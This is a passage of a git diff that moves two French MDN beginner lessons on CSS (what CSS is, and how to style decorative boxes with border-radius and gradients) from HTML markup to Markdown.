"Learn/CSS/First_steps")}}</div> - -<p><strong>{{Glossary("CSS")}}</strong> (<em>Cascading Style Sheets</em>) permet de créer des pages web à l'apparence soignée. Cet article vous propose de lever le voile en expliquant ce qu'est CSS ; un exemple simple en présentera la syntaxe puis quelques termes clé du langage seront introduits.</p> +**{{Glossary("CSS")}}** (_Cascading Style Sheets_) permet de créer des pages web à l'apparence soignée. Cet article vous propose de lever le voile en expliquant ce qu'est CSS ; un exemple simple en présentera la syntaxe puis quelques termes clé du langage seront introduits. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Notions de base en l'informatique, <a href="/fr/docs/Apprendre/Commencer_avec_le_web/Installation_outils_de_base">logiciels de base installés</a>, <a href="/fr/docs/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers">savoir manipuler des fichiers</a>, connaissance de base de HTML (cf. <a href="/fr/docs/Apprendre/HTML/Introduction_à_HTML">Introduction à HTML</a>.)</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Apprendre ce qu'est CSS.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Notions de base en l'informatique, + <a + href="/fr/docs/Apprendre/Commencer_avec_le_web/Installation_outils_de_base" + >logiciels de base installés</a + >, + <a href="/fr/docs/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers" + >savoir manipuler des fichiers</a + >, connaissance de base de HTML (cf. <a + href="/fr/docs/Apprendre/HTML/Introduction_à_HTML" + >Introduction à HTML</a + >.) + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td>Apprendre ce qu'est CSS.</td> + </tr> + </tbody> </table> -<p>Dans le cours <a href="/fr/docs/Apprendre/HTML/Introduction_à_HTML">Introduction à HTML</a>, nous avons présenté le langage HTML et comment l'utiliser afin de rédiger des documents structurés. Ces documents seront consultables dans un navigateur. Les titres apparaîtront dans une police plus grande que le corps de texte, la rupture entre deux paragraphes sera marquée par un saut de ligne. Les liens seront soulignés et colorés pour les distinguer du reste du texte. L'image ci-dessous montre comment un navigateur affiche un document HTML — la mise en forme par défaut garantit un minimum de lisibilité, même si l'auteur de la page n'a spécifié aucune règle de style.</p> +Dans le cours [Introduction à HTML](/fr/docs/Apprendre/HTML/Introduction_à_HTML), nous avons présenté le langage HTML et comment l'utiliser afin de rédiger des documents structurés. Ces documents seront consultables dans un navigateur. Les titres apparaîtront dans une police plus grande que le corps de texte, la rupture entre deux paragraphes sera marquée par un saut de ligne. Les liens seront soulignés et colorés pour les distinguer du reste du texte. L'image ci-dessous montre comment un navigateur affiche un document HTML — la mise en forme par défaut garantit un minimum de lisibilité, même si l'auteur de la page n'a spécifié aucune règle de style. -<p><img alt="La mise en forme par défaut appliquée par un navigateur." src="basic_styling_fr.png"></p> + -<p>Le Web serait d'un ennui terrible si tous les sites ressemblaient à la page ci-dessus. Grâce à CSS, vous pouvez contrôler exactement l'affichage de chaque élément HTML dans le navigateur et ainsi présenter vos documents avec la mise en forme de votre choix.</p> +Le Web serait d'un ennui terrible si tous les sites ressemblaient à la page ci-dessus. Grâce à CSS, vous pouvez contrôler exactement l'affichage de chaque élément HTML dans le navigateur et ainsi présenter vos documents avec la mise en forme de votre choix. -<p>Pour plus d'informations sur les styles de navigateur/par défaut, consultez la vidéo suivante :</p> +Pour plus d'informations sur les styles de navigateur/par défaut, consultez la vidéo suivante : -<p>{{EmbedYouTube("spK_S0HfzFw")}}</p> +{{EmbedYouTube("spK_S0HfzFw")}} -<h2 id="À_quoi_sert_CSS">À quoi sert CSS ?</h2> +## À quoi sert CSS ? -<p>Comme mentionné plus haut, CSS est un langage de mise en forme des documents. </p> +Comme mentionné plus haut, CSS est un langage de mise en forme des documents. -<p>Les <strong>documents</strong> en question sont des fichiers texte structurés avec un langage de balises — {{Glossary("HTML")}} est le plus connu de ces langages, d'autres exemples sont {{Glossary("SVG")}} ou {{Glossary("XML")}}.</p> +Les **documents** en question sont des fichiers texte structurés avec un langage de balises — {{Glossary("HTML")}} est le plus connu de ces langages, d'autres exemples sont {{Glossary("SVG")}} ou {{Glossary("XML")}}. -<p><strong>"Présenter</strong> un document à l'utilisateur" signifie convertir ce document dans une forme utilisable par le public visé. Les {{Glossary("browser","navigateurs")}}, tels {{Glossary("Mozilla Firefox","Firefox")}}, {{Glossary("Google Chrome","Chrome")}}, {{Glossary("Safari","Safari")}} ou {{Glossary("Microsoft Edge","Edge")}} sont conçus pour présenter visuellement des documents, que ce soit sur l'écran d'un ordinateur, un vidéo-projecteur ou une imprimante.</p> +**"Présenter** un document à l'utilisateur" signifie convertir ce document dans une forme utilisable par le public visé. Les {{Glossary("browser","navigateurs")}}, tels {{Glossary("Mozilla Firefox","Firefox")}}, {{Glossary("Google Chrome","Chrome")}}, {{Glossary("Safari","Safari")}} ou {{Glossary("Microsoft Edge","Edge")}} sont conçus pour présenter visuellement des documents, que ce soit sur l'écran d'un ordinateur, un vidéo-projecteur ou une imprimante. -<div class="note"> -<p><strong>Note :</strong> Un navigateur est parfois appelé {{Glossary("User agent","agent utilisateur")}}. On entend par là un programme informatique qui agit pour un utilisateur au sein d'un système informatique. Pour CSS, les premiers agents utilisateur qui nous viennent à l'esprit sont les navigateurs. Ce ne sont pourtant pas les seuls. Il existe d'autres "agents utilisateurs" comme les programmes qui convertissent des documents HTML et CSS en documents PDF imprimables.</p> -</div> +> **Note :** Un navigateur est parfois appelé {{Glossary("User agent","agent utilisateur")}}. On entend par là un programme informatique qui agit pour un utilisateur au sein d'un système informatique. Pour CSS, les premiers agents utilisateur qui nous viennent à l'esprit sont les navigateurs. Ce ne sont pourtant pas les seuls. Il existe d'autres "agents utilisateurs" comme les programmes qui convertissent des documents HTML et CSS en documents PDF imprimables. -<p>CSS peut être utilisé pour une mise en forme élémentaire des documents — par exemple changer <a href="/fr/docs/Web/CSS/Type_color">la couleur</a> et <a href="/fr/docs/Web/CSS/font-size">la taille</a> des titres et des liens. Il peut être utilisé pour concevoir une maquette — par exemple transformer <a href="/fr/docs/Web/CSS/Layout_cookbook/Disposition_en_colonnes">un texte affiché sur une colonne</a> en une composition avec un cadre principal et une barre latérale pour les informations reliées. Avec CSS, on peut aussi produire des <a href="/fr/docs/Web/CSS/Animations_CSS">animations</a>. N'hésitez pas à cliquer sur les liens de ce paragraphe pour observer différents exemples.</p> +CSS peut être utilisé pour une mise en forme élémentaire des documents — par exemple changer [la couleur](/fr/docs/Web/CSS/Type_color) et [la taille](/fr/docs/Web/CSS/font-size) des titres et des liens. Il peut être utilisé pour concevoir une maquette — par exemple transformer [un texte affiché sur une colonne](/fr/docs/Web/CSS/Layout_cookbook/Disposition_en_colonnes) en une composition avec un cadre principal et une barre latérale pour les informations reliées. Avec CSS, on peut aussi produire des [animations](/fr/docs/Web/CSS/Animations_CSS). N'hésitez pas à cliquer sur les liens de ce paragraphe pour observer différents exemples. -<h2 id="Syntaxe_de_CSS">Syntaxe de CSS</h2> +## Syntaxe de CSS -<p>CSS est un langage basé sur des règles — on définit des règles de styles destinées à des éléments ou des groupes d'éléments particuliers dans la page.</p> +CSS est un langage basé sur des règles — on définit des règles de styles destinées à des éléments ou des groupes d'éléments particuliers dans la page. -<p>Par exemple "Je veux que le titre principal de ma page s'affiche en rouge en gros caractères."</p> +Par exemple "Je veux que le titre principal de ma page s'affiche en rouge en gros caractères." -<p>Dans le code suivant, une règle CSS élémentaire réalise cette mise en forme :</p> +Dans le code suivant, une règle CSS élémentaire réalise cette mise en forme : -<pre class="brush: css">h1 { +```css +h1 { color: red; font-size: 5em; -}</pre> +} +``` -<p>La règle commence par un {{Glossary("CSS Selector", "sélecteur")}}, l'élément HTML mis en forme. Ici le style s'applique aux titres de niveau 1 ({{htmlelement("h1")}}).</p> +La règle commence par un {{Glossary("CSS Selector", "sélecteur")}}, l'élément HTML mis en forme. Ici le style s'applique aux titres de niveau 1 ({{htmlelement("h1")}}). -<p>Suivent une paire d'accolades <code>{ }</code> à l'intérieur desquelles on trouve une ou plusieurs <strong>déclarations</strong>, sous la forme d'une paire <strong>propriété</strong> : <strong>valeur</strong>. Chaque paire précise une propriété de l'élément sélectionné, suivie de la valeur choisie pour cette propriété ; la propriété et la valeur sont séparées par deux points. Chaque déclaration se termine par un point-virgule. À chaque {{Glossary("property/CSS","propriété")}} définie par CSS correspondent différentes valeurs possibles. Dans l'exemple, la propriété <code>color</code> peut prendre différentes <a href="/fr/docs/Learn/CSS/Building_blocks/Values_and_units#Color">valeurs de type <code><color></code></a>. La propriété <code>font-size</code> accepte différentes <a href="/fr/docs/Learn/CSS/Building_blocks/Values_and_units#Numbers_lengths_and_percentages">tailles</a> comme valeurs.</p> +Suivent une paire d'accolades `{ }` à l'intérieur desquelles on trouve une ou plusieurs **déclarations**, sous la forme d'une paire **propriété** : **valeur**. Chaque paire précise une propriété de l'élément sélectionné, suivie de la valeur choisie pour cette propriété ; la propriété et la valeur sont séparées par deux points. Chaque déclaration se termine par un point-virgule. À chaque {{Glossary("property/CSS","propriété")}} définie par CSS correspondent différentes valeurs possibles. Dans l'exemple, la propriété `color` peut prendre différentes [valeurs de type `<color>`](/fr/docs/Learn/CSS/Building_blocks/Values_and_units#Color). La propriété `font-size` accepte différentes [tailles](/fr/docs/Learn/CSS/Building_blocks/Values_and_units#Numbers_lengths_and_percentages) comme valeurs. -<p>Une feuille de style CSS est constituée d'une succession de telles règles :</p> +Une feuille de style CSS est constituée d'une succession de telles règles : -<pre class="brush: css">h1 { +```css +h1 { color: red; font-size: 5em; } p { color: black; -}</pre> +} +``` -<p>On retient facilement certaines valeurs, d'autres sont plus difficiles à mémoriser. Pour s'y retrouver, sur MDN, la page individuelle de chaque propriété donne un aperçu rapide et complet des valeurs applicables.</p> +On retient facilement certaines valeurs, d'autres sont plus difficiles à mémoriser. Pour s'y retrouver, sur MDN, la page individuelle de chaque propriété donne un aperçu rapide et complet des valeurs applicables. -<div class="note"> -<p><strong>Note :</strong> Sur MDN, dans <a href="/fr/docs/Web/CSS/Reference">la référence CSS</a>, vous trouverez une collection de liens à propos de chaque propriété CSS (ainsi que d'autres aspects de CSS). Par ailleurs, n'hésitez pas à lancer des requêtes "mdn <em>nom-de-propriété-ou-fonctionnalité-css</em>" dans votre moteur de recherche préféré dès qu'un aspect de CSS vous interpelle. Vous pouvez par exemple tester les requêtes "mdn color" et "mdn font-size" !</p> -</div> +> **Note :** Sur MDN, dans [la référence CSS](/fr/docs/Web/CSS/Reference), vous trouverez une collection de liens à propos de chaque propriété CSS (ainsi que d'autres aspects de CSS). Par ailleurs, n'hésitez pas à lancer des requêtes "mdn _nom-de-propriété-ou-fonctionnalité-css_" dans votre moteur de recherche préféré dès qu'un aspect de CSS vous interpelle. Vous pouvez par exemple tester les requêtes "mdn color" et "mdn font-size" ! -<h2 id="Modules_CSS">Modules CSS</h2> +## Modules CSS -<p>L'ensemble des fonctionnalités CSS est si important que le langage et ses spécifications ont été découpés en <em>modules</em>. En naviguant dans le site MDN vous croiserez ces modules : quand des pages de documentation sont regroupées, c'est la plupart du temps qu'elles réfèrent à un même module. Par exemple, jetez un œil à la référence MDN pour le module <em><a href="/fr/docs/Web/CSS/CSS_Backgrounds_and_Borders">Backgrounds and Borders</a></em>, vous y trouverez ce pour quoi il a été conçu, les différentes propriétés et fonctionnalités qu'il regroupe. Vous trouverez aussi des liens vers la spécification CSS qui définit cette technologie (voir plus bas).</p> +L'ensemble des fonctionnalités CSS est si important que le langage et ses spécifications ont été découpés en _modules_. En naviguant dans le site MDN vous croiserez ces modules : quand des pages de documentation sont regroupées, c'est la plupart du temps qu'elles réfèrent à un même module. Par exemple, jetez un œil à la référence MDN pour le module *[Backgrounds and Borders](/fr/docs/Web/CSS/CSS_Backgrounds_and_Borders)*, vous y trouverez ce pour quoi il a été conçu, les différentes propriétés et fonctionnalités qu'il regroupe. Vous trouverez aussi des liens vers la spécification CSS qui définit cette technologie (voir plus bas). -<p>À ce stade, inutile de se préoccuper de la structure de CSS (même s'il est parfois plus simple de trouver une information quand on a compris qu'une propriété est reliée à une famille d'autres propriétés au sein d'un même module de spécification).</p> +À ce stade, inutile de se préoccuper de la structure de CSS (même s'il est parfois plus simple de trouver une information quand on a compris qu'une propriété est reliée à une famille d'autres propriétés au sein d'un même module de spécification). -<p>Prenons un exemple précis et revenons au module <em>Backgrounds and Borders</em> — les propriétés <code><a href="/fr/docs/Web/CSS/background-color">background-color</a></code> et <code><a href="/fr/docs/Web/CSS/border-color">border-color</a></code> qui agissent sur l'arrière-plan et les bordures appartiennent toutes les deux à ce module.</p> +Prenons un exemple précis et revenons au module *Backgrounds and Borders* — les propriétés [`background-color`](/fr/docs/Web/CSS/background-color) et [`border-color`](/fr/docs/Web/CSS/border-color) qui agissent sur l'arrière-plan et les bordures appartiennent toutes les deux à ce module. -<h3 id="Spécifications_CSS">Spécifications CSS</h3> +### Spécifications CSS -<p>Chaque technologie standard du Web (HTML, CSS, JavaScript, etc.) est définie dans un grand document appelé spécification (parfois abrégé en "spec"). Les spécifications sont publiées par des organisations de standardisation (telles que le {{glossary("W3C")}}, {{glossary("WHATWG")}}, {{glossary("ECMA")}}, ou {{glossary("Khronos")}}), elles définissent précisément le comportement attendu de ces technologies.</p> +Chaque technologie standard du Web (HTML, CSS, JavaScript, etc.) est définie dans un grand document appelé spécification (parfois abrégé en "spec"). Les spécifications sont publiées par des organisations de standardisation (telles que le {{glossary("W3C")}}, {{glossary("WHATWG")}}, {{glossary("ECMA")}}, ou {{glossary("Khronos")}}), elles définissent précisément le comportement attendu de ces technologies. -<p>CSS ne déroge pas à la règle — il est développé par un groupe au sein du W3C, nommé le <a href="https://www.w3.org/Style/CSS/"><em>CSS Working Group</em> (ou "groupe de travail CSS" en français)</a>. Ce groupe est constitué de représentants des éditeurs de navigateurs et d'autres sociétés concernées par CSS. On y trouve aussi des <em>experts invités </em>affiliés à aucune des organisations membres qui apporte une voix indépendante à la conception de CSS.</p> +CSS ne déroge pas à la règle — il est développé par un groupe au sein du W3C, nommé le [_CSS Working Group_ (ou "groupe de travail CSS" en français)](https://www.w3.org/Style/CSS/). Ce groupe est constitué de représentants des éditeurs de navigateurs et d'autres sociétés concernées par CSS. On y trouve aussi des _experts invités_ affiliés à aucune des organisations membres qui apporte une voix indépendante à la conception de CSS. -<p>De nouveaux aspects de CSS sont développés ou spécifiés par le groupe de travail CSS, parfois parce qu'un navigateur particulier désire tel comportement, d'autres fois parce que des concepteurs web et des développeurs demandent certaines fonctionnalités et enfin parfois lorsque le <em>CSS Working Group</em> a identifié un besoin. CSS est en développement constant, avec de nouvelles fonctionnalités disponibles au fur et à mesure. Une des caractéristiques cruciale de chaque brique du Web et donc de CSS est la rétro-compatibilité : chaque contributeur s'attache à garantir qu'un site web développé en 2000 avec le CSS disponible à l'époque sera toujours utilisable dans un navigateur actuel ! </p> +De nouveaux aspects de CSS sont développés ou spécifiés par le groupe de travail CSS, parfois parce qu'un navigateur particulier désire tel comportement, d'autres fois parce que des concepteurs web et des développeurs demandent certaines fonctionnalités et enfin parfois lorsque le _CSS Working Group_ a identifié un besoin. CSS est en développement constant, avec de nouvelles fonctionnalités disponibles au fur et à mesure. Une des caractéristiques cruciale de chaque brique du Web et donc de CSS est la rétro-compatibilité : chaque contributeur s'attache à garantir qu'un site web développé en 2000 avec le CSS disponible à l'époque sera toujours utilisable dans un navigateur actuel ! -<p>Si vous débutez en CSS, la lecture des spécifications peut être déroutante : elles s'adressent avant tout aux ingénieurs qui implémentent la prise en charge dans les navigateurs et pas aux développeurs web qui doivent comprendre les propriétés pour les utiliser dans leurs sites. Dans ce cas, la documentation MDN ou d'autres tutoriels sont recommandés. Il est pourtant important de savoir que les spécifications existent, de comprendre la relation entre celles-ci, le CSS que vous utilisez et la prise en charge des navigateurs (voir ci-dessous).</p> +Si vous débutez en CSS, la lecture des spécifications peut être déroutante : elles s'adressent avant tout aux ingénieurs qui implémentent la prise en charge dans les navigateurs et pas aux développeurs web qui doivent comprendre les propriétés pour les utiliser dans leurs sites. Dans ce cas, la documentation MDN ou d'autres tutoriels sont recommandés. Il est pourtant important de savoir que les spécifications existent, de comprendre la relation entre celles-ci, le CSS que vous utilisez et la prise en charge des navigateurs (voir ci-dessous). -<h2 id="Prise_en_charge_par_les_navigateurs">Prise en charge par les navigateurs</h2> +## Prise en charge par les navigateurs -<p>Les fonctionnalités CSS définies dans les spécifications peuvent uniquement être utilisées dans une page web si un ou plusieurs navigateurs les implémentent. Autrement dit, il faut bien qu'il y ait un programme qui puisse transformer les règles CSS en éléments affichés à l'écran.</p> +Les fonctionnalités CSS définies dans les spécifications peuvent uniquement être utilisées dans une page web si un ou plusieurs navigateurs les implémentent. Autrement dit, il faut bien qu'il y ait un programme qui puisse transformer les règles CSS en éléments affichés à l'écran. -<p>Nous étudierons ce point plus en détail dans l'article sur <a href="/fr/docs/Learn/CSS/First_steps/How_CSS_works">le fonctionnement de CSS</a>. Il est rare que les différents navigateurs implémentent simultanément une nouvelle fonctionnalité CSS. Il est donc fréquent que certains sous-ensembles de CSS soient fonctionnels pour certains navigateurs et pas pour d'autres. Pour cette raison, il est essentiel de vérifier l'état de la compatibilité et des implémentations. Sur chaque page MDN décrivant une propriété, le statut d'implémentation de la propriété est fourni dans un tableau de compatibilité web. Vous saurez ainsi s'il est pertinent de l'utiliser dans votre site web.</p> +Nous étudierons ce point plus en détail dans l'article sur [le fonctionnement de CSS](/fr/docs/Learn/CSS/First_steps/How_CSS_works). Il est rare que les différents navigateurs implémentent simultanément une nouvelle fonctionnalité CSS. Il est donc fréquent que certains sous-ensembles de CSS soient fonctionnels pour certains navigateurs et pas pour d'autres. Pour cette raison, il est essentiel de vérifier l'état de la compatibilité et des implémentations. Sur chaque page MDN décrivant une propriété, le statut d'implémentation de la propriété est fourni dans un tableau de compatibilité web. Vous saurez ainsi s'il est pertinent de l'utiliser dans votre site web. -<p>Voici par exemple le tableau de compatibilité pour la propriété <code><a href="/fr/docs/Web/CSS/font-family">font-family</a></code>.</p> +Voici par exemple le tableau de compatibilité pour la propriété [`font-family`](/fr/docs/Web/CSS/font-family). -<p>{{Compat("css.properties.font-family")}}</p> +{{Compat("css.properties.font-family")}} -<h2 id="Où_continuer">Où continuer</h2> +## Où continuer -<p>Maintenant que vous avez compris ce qu'est CSS, vous pourrez commencer à écrire vos premières règles de style dans la leçon <a href="/fr/docs/Learn/CSS/First_steps/Getting_started">Démarrer avec CSS</a>.</p> +Maintenant que vous avez compris ce qu'est CSS, vous pourrez commencer à écrire vos premières règles de style dans la leçon [Démarrer avec CSS](/fr/docs/Learn/CSS/First_steps/Getting_started). -<p>{{NextMenu("Learn/CSS/First_steps/Getting_started", "Learn/CSS/First_steps")}}</p> +{{NextMenu("Learn/CSS/First_steps/Getting_started", "Learn/CSS/First_steps")}} -<h2 id="Dans_ce_cours">Dans ce cours</h2> +## Dans ce cours -<ol> - <li><a href="/fr/docs/Learn/CSS/First_steps/Qu_est_ce_que_CSS">Qu'est-ce que CSS ?</a></li> - <li><a href="/fr/docs/Learn/CSS/First_steps/Getting_started">Démarrer avec CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/First_steps/How_CSS_is_structured">La façon dont CSS est structuré</a></li> - <li><a href="/fr/docs/Learn/CSS/First_steps/How_CSS_works">Le fonctionnement de CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/First_steps/Using_your_new_knowledge">Mettre en œuvre vos nouvelles connaissances</a></li> -</ol> +1. [Qu'est-ce que CSS ?](/fr/docs/Learn/CSS/First_steps/Qu_est_ce_que_CSS) +2. [Démarrer avec CSS](/fr/docs/Learn/CSS/First_steps/Getting_started) +3. [La façon dont CSS est structuré](/fr/docs/Learn/CSS/First_steps/How_CSS_is_structured) +4. [Le fonctionnement de CSS](/fr/docs/Learn/CSS/First_steps/How_CSS_works) +5. [Mettre en œuvre vos nouvelles connaissances](/fr/docs/Learn/CSS/First_steps/Using_your_new_knowledge) diff --git a/files/fr/learn/css/howto/create_fancy_boxes/index.md b/files/fr/learn/css/howto/create_fancy_boxes/index.md index 31db5f3ac9..4b83c4ebc0 100644 --- a/files/fr/learn/css/howto/create_fancy_boxes/index.md +++ b/files/fr/learn/css/howto/create_fancy_boxes/index.md @@ -4,38 +4,41 @@ slug: Learn/CSS/Howto/create_fancy_boxes translation_of: Learn/CSS/Howto/create_fancy_boxes original_slug: Apprendre/CSS/Comment/Créer_de_belles_boîtes --- -<p>Les boîtes CSS sont des blocs de base pour la construction des pages web. Créer des boîtes agréables à regarder est un défi complexe et intéressant. C'est un défi intéressant parce qu'on peut implémenter une idée de concept, de design, grâce à du code qui fonctionne. C'est un défi complexe car CSS possède à la fois plein de contraintes et de libertés. Dans cet article, nous allons voir de quoi il en retourne en dessinant quelques belles boîtes.</p> +Les boîtes CSS sont des blocs de base pour la construction des pages web. Créer des boîtes agréables à regarder est un défi complexe et intéressant. C'est un défi intéressant parce qu'on peut implémenter une idée de concept, de design, grâce à du code qui fonctionne. C'est un défi complexe car CSS possède à la fois plein de contraintes et de libertés. Dans cet article, nous allons voir de quoi il en retourne en dessinant quelques belles boîtes. -<p>Avant d'attaquer la partie pratique, nous vous recommandons de lire <a href="/fr/docs/Learn/CSS/Building_blocks/The_box_model">l'article qui explique le fonctionnement du modèle de boîte CSS</a>. Bien que ce ne soit pas strictement nécessaire, il peut également être judicieux que de lire <a href="/fr/docs/conflicting/Learn/CSS/CSS_layout/Introduction">les bases de la disposition en CSS</a>.</p> +Avant d'attaquer la partie pratique, nous vous recommandons de lire [l'article qui explique le fonctionnement du modèle de boîte CSS](/fr/docs/Learn/CSS/Building_blocks/The_box_model). Bien que ce ne soit pas strictement nécessaire, il peut également être judicieux que de lire [les bases de la disposition en CSS](/fr/docs/conflicting/Learn/CSS/CSS_layout/Introduction). -<p>D'un point de vue technique, créer de belles boîtes devient beaucoup plus simple quand on connaît les propriétés de bordure (<code>border-*</code>) et d'arrière-plan (<code>background-*</code>) et les règles qui permettent de les appliquer sur une boîte donnée. Mais au delà de cet aspect technique, il s'agit aussi de laisser libre cours à votre créativité. Cela ne se fera pas en un jour et certains développeurs web passent beaucoup temps sur ces sujets.</p> +D'un point de vue technique, créer de belles boîtes devient beaucoup plus simple quand on connaît les propriétés de bordure (`border-*`) et d'arrière-plan (`background-*`) et les règles qui permettent de les appliquer sur une boîte donnée. Mais au delà de cet aspect technique, il s'agit aussi de laisser libre cours à votre créativité. Cela ne se fera pas en un jour et certains développeurs web passent beaucoup temps sur ces sujets. -<p>Nous allons voir beaucoup d'exemples mais tout ces exemples n'utiliseront qu'un seul fragment de HTML, aussi simple que celui-ci :</p> +Nous allons voir beaucoup d'exemples mais tout ces exemples n'utiliseront qu'un seul fragment de HTML, aussi simple que celui-ci : -<pre class="brush: html"><div class="joli">Coucou ! Je veux être joli.</div></pre> +```html +<div class="joli">Coucou ! Je veux être joli.</div> +``` -<p>Effectivement, c'est très léger comme HTML. Que peut-on faire avec ça ?</p> +Effectivement, c'est très léger comme HTML. Que peut-on faire avec ça ? -<ul> - <li>Modifier les propriétés liées au modèle de boîte : {{cssxref("width")}}, {{cssxref("height")}}, {{cssxref("padding")}}, {{cssxref("border")}}, etc.</li> - <li>Modifier les propriétés liées à son arrière-plan : {{cssxref("background")}}, {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-position")}}, {{cssxref("background-size")}}, etc.</li> - <li>Jouer sur les pseudo-éléments : {{cssxref("::before")}} et {{cssxref("::after")}}</li> - <li>Manipuler d'autres propriétés comme : {{cssxref("box-shadow")}}, {{cssxref("transform")}}, {{cssxref("outline")}}, etc.</li> -</ul> +- Modifier les propriétés liées au modèle de boîte : {{cssxref("width")}}, {{cssxref("height")}}, {{cssxref("padding")}}, {{cssxref("border")}}, etc. +- Modifier les propriétés liées à son arrière-plan : {{cssxref("background")}}, {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-position")}}, {{cssxref("background-size")}}, etc. +- Jouer sur les pseudo-éléments : {{cssxref("::before")}} et {{cssxref("::after")}} +- Manipuler d'autres propriétés comme : {{cssxref("box-shadow")}}, {{cssxref("transform")}}, {{cssxref("outline")}}, etc. -<p>En fait, ce n'est pas tant le HTML que le CSS qui va fournir ici plein de possibilités. Allons-y.</p> +En fait, ce n'est pas tant le HTML que le CSS qui va fournir ici plein de possibilités. Allons-y. -<h2 id="Jouer_avec_le_modèle_de_boîte">Jouer avec le modèle de boîte</h2> +## Jouer avec le modèle de boîte -<p>Le modèle de boîte, seul, permet de ne créer que des effets basiques : ajouter des bordures, créer des rectangles, etc. Ça commence à devenir intéressant quand on joue sur les propriétés avec des valeurs négatives pour <code>padding</code> et/ou <code>margin</code> ou quand on utilise un <code>border-radius</code> supérieur à la taille de la boîte.</p> +Le modèle de boîte, seul, permet de ne créer que des effets basiques : ajouter des bordures, créer des rectangles, etc. Ça commence à devenir intéressant quand on joue sur les propriétés avec des valeurs négatives pour `padding` et/ou `margin` ou quand on utilise un `border-radius` supérieur à la taille de la boîte. -<h3 id="Créer_des_cercles">Créer des cercles</h3> +### Créer des cercles -<pre class="brush: html hidden"><div class="joli">Coucou ! Je veux être joli.</div></pre> +```html hidden +<div class="joli">Coucou ! Je veux être joli.</div> +``` -<p>Voici un exemple à la fois simple et sympa. La propriété {{cssxref("border-radius")}} est utilisée pour arrondir les angles d'une boîte. Que se passe-t-il lorsque la taille du rayon pour l'arrondi est en fait supérieure ou égale à la taille de la boîte ?</p> +Voici un exemple à la fois simple et sympa. La propriété {{cssxref("border-radius")}} est utilisée pour arrondir les angles d'une boîte. Que se passe-t-il lorsque la taille du rayon pour l'arrondi est en fait supérieure ou égale à la taille de la boîte ? -<pre class="brush: css">.joli { +```css +.joli { /* Mieux vaut centrer le texte dans un cercle. */ text-align : center; @@ -61,28 +64,30 @@ original_slug: Apprendre/CSS/Comment/Créer_de_belles_boîtes /* Enfin, transformons le carré en cercle */ border-radius: 100%; -}</pre> +} +``` -<p>Et voilà comment on obtient un cercle :</p> +Et voilà comment on obtient un cercle : -<p>{{EmbedLiveSample('Créer_des_cercles', '100%', '120')}}</p> +{{EmbedLiveSample('Créer_des_cercles', '100%', '120')}} -<h2 id="Les_arrière-plans">Les arrière-plans</h2> +## Les arrière-plans -<p>Lorsqu'on parle de boîtes plutôt jolies, les propriétés primordiales sont <a href="/fr/docs/conflicting/Web/CSS/CSS_Backgrounds_and_Borders">les propriétés <code>background-*</code></a>. Quand on manipule ces propriétés, on peut alors voir la boîte CSS comme une toile blanche qu'on pourrait peindre.</p> +Lorsqu'on parle de boîtes plutôt jolies, les propriétés primordiales sont [les propriétés `background-*`](/fr/docs/conflicting/Web/CSS/CSS_Backgrounds_and_Borders). Quand on manipule ces propriétés, on peut alors voir la boîte CSS comme une toile blanche qu'on pourrait peindre. -<p>Avant d'aborder des exemples pratiques, revenons sur deux choses à savoir sur les arrière-plans :</p> +Avant d'aborder des exemples pratiques, revenons sur deux choses à savoir sur les arrière-plans : -<ul> - <li>On peut définir <a href="/fr/docs/Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds">plusieurs arrière-plans</a> pour une boîte. Ceux-ci s'empileront les uns sur les autres comme des couches.</li> - <li>Les arrière-plans peuvent être des couleurs unies ou des images. Les couleurs remplissent toute la surface mais les images peuvent être mises à l'échelle et positionnées sur la boîte.</li> -</ul> +- On peut définir [plusieurs arrière-plans](/fr/docs/Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds) pour une boîte. Ceux-ci s'empileront les uns sur les autres comme des couches. +- Les arrière-plans peuvent être des couleurs unies ou des images. Les couleurs remplissent toute la surface mais les images peuvent être mises à l'échelle et positionnées sur la boîte. -<pre class="brush: html hidden"><div class="joli">Coucou ! Je veux être joli.</div></pre> +```html hidden +<div class="joli">Coucou ! Je veux être joli.</div> +``` -<p>Passons à la manipulation :</p> +Passons à la manipulation : -<pre class="brush: css">.joli { +```css +.joli { padding : 1em; width: 100%; height: 200px; @@ -110,25 +115,27 @@ original_slug: Apprendre/CSS/Comment/Créer_de_belles_boîtes linear-gradient( 85deg, rgba(0,0,0,0) 83%, #9f8fa4 83%), linear-gradient(175deg, rgba(0,0,0,0) 70%, #74a6ae 70%), linear-gradient( 85deg, rgba(0,0,0,0) 80%, #74a6ae 80%); -}</pre> +} +``` -<p>{{EmbedLiveSample('Les_arrière-plans', '100%', '200')}}</p> +{{EmbedLiveSample('Les_arrière-plans', '100%', '200')}} -<div class="note"> -<p><strong>Note :</strong> Les gradients peuvent être utilisés pour créer une myriade d'effets. Vous pouvez par exemple consulter <a href="https://lea.verou.me/css3patterns/">les excellents motifs CSS de Lea Verou</a>. Attention cependant, en termes de performance, les gradients peuvent avoir un impact non négligeable. Si vous souhaitez explorer les gradients, n'hésitez pas à lire <a href="/fr/docs/Web/CSS/CSS_Images/Using_CSS_gradients">notre article dédié</a>.</p> -</div> +> **Note :** Les gradients peuvent être utilisés pour créer une myriade d'effets. Vous pouvez par exemple consulter [les excellents motifs CSS de Lea Verou](https://lea.verou.me/css3patterns/). Attention cependant, en termes de performance, les gradients peuvent avoir un impact non négligeable. Si vous souhaitez explorer les gradients, n'hésitez pas à lire [notre article dédié](/fr/docs/Web/CSS/CSS_Images/Using_CSS_gradients). -<h2 id="Les_pseudo-éléments">Les pseudo-éléments</h2> +## Les pseudo-éléments -<p>Lorsqu'on met en forme une boîte, on aurait parfois envie d'avoir plus de boîtes pour composer une mise en forme plus complexe et plus belle. La plupart du temps, cela peut nous amener à polluer le DOM en ajoutant des éléments HTML supplémentaires, uniquement pour la mise en forme. Bien que ce soit parfois nécessaire, c'est considéré comme une mauvaise pratique. Pour éviter cela, on peut utiliser <a 